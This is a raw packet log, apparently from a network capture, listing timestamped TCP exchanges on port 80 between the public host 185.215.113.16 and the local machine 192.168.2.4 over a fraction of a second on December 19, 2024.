Dec 19, 2024 07:56:49.538597107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.538642883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.538697004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.539558887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.539612055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.539655924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.540555000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.540606976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.540666103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.541515112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.541575909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.541636944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.542536974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.542589903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.542638063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.543530941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.543589115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.543617010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.584458113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.593028069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.593143940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.593337059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.593442917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.593499899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.593554020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.594448090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.594832897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.594868898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.594887018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.595798016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.595849037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.595854044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.596828938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.596879959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.596944094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.597812891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.597865105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.597920895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.598839998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.598890066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.598922014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.599801064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.599850893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.599958897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.600864887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.600903034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.600914001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.601843119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.601893902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.601897955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.646953106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.660759926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.660839081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.660918951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.661195040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.661346912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.661422968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.662210941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.662318945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.662378073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.663212061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.663311005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.663398981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.664200068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.664318085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.664372921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.665220976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.665326118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.665379047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.666285038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.666351080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.666403055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.667208910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.667330027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.667390108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.668203115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.668342113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.668464899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.669218063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.669328928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.669392109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.670200109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.670326948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.670382023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.671195030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.671333075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.671384096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.672189951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.672288895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.672344923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.673197985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.673289061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.673346996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.674201965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.674295902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.674351931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.675162077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.675304890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.675359011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.676225901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.676311970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.676367044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.677175045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.677261114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.677314997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.678175926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.678317070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.678380966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.679192066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.679292917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.679347038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.680165052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.680277109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.680330038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.681152105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.681278944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.681360006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.682148933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.682269096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.682324886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.683172941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.683267117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.683335066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.684143066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.684248924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.684309006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.685137033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.685245991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.685317993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.686141968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.686244011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.686297894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.687169075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.687263012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.687330008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.688148022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.688256025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.688318014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.689130068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.689244986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.689301014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.690165043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.690274000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.690327883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.691176891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.691282988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.691334009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.692189932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.692254066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.692312002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.693151951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.727125883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.727195024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.727289915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.727572918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.727634907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.727672100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.728583097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.728640079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.728697062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.729538918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.729604959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.729693890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.730559111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.730609894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.730684996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.731547117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.731601954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.731684923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.732556105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.732609034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.732680082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.733551025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.733599901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.733660936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.734535933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.734589100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.734662056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.735557079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.735606909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.735655069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.785015106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.785078049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.785145998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.785500050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.785564899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.785621881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.786499977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.786566973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.786611080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.787488937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.787587881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.787616968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.788541079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.788604975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.788633108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.789519072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.789572954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.789589882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.790487051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.790551901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.790599108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.791490078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.791560888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.791604996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.792505980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.792572021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.792645931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.793489933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.793555021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.793598890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.834448099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.852683067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.852715015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.852818012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.853060961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.853257895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.853301048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.853379965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.854264021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.854316950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.854367018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.855237007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.855288029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.855304956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.856273890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.856327057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.856344938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.857242107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.857289076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.857358932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.858306885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.858355045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.858409882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.859266043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.859318018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.859354973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.860249043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.860296011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.860346079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.861251116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.861296892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.861329079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.862328053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.862375021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.862410069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.863229990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.863277912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.863349915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.864234924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.864280939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.864315033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.865230083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.865277052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.865341902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.866244078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.866286993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.866317987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.867229939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.867326975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.867424965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.868227959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.868305922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.868405104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.869183064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.869242907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.869306087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.870228052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.870280027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.870395899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.871218920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.871264935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.871304035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.872206926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.872255087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.872327089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.873243093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.873290062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.873325109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.874191999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.874238968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.874284983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.875205994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.875255108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.875288010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.876209974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.876254082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.876292944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.877182961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.877232075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.877298117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.878182888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.878228903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.878371954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.879188061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.879237890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.879275084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.880172014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.880223036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.880223036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.881150007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.881195068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.881263018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.882178068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.882244110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.882278919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.883174896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.883222103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.883256912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.884161949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.884212971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.884265900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.919207096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.919245958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.919423103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.919553041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.919611931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.919615030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.920324087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.920373917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.920444012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.921365976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.921417952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.921466112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.922336102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.922386885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.922429085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.923330069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.923367023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.923388004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.924312115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.924365044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.924413919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.925318003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.925386906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.925406933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.926304102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.926353931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:49.926400900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:49.927308083 CET	80	49744	185.215.113.16	192.168.2.4
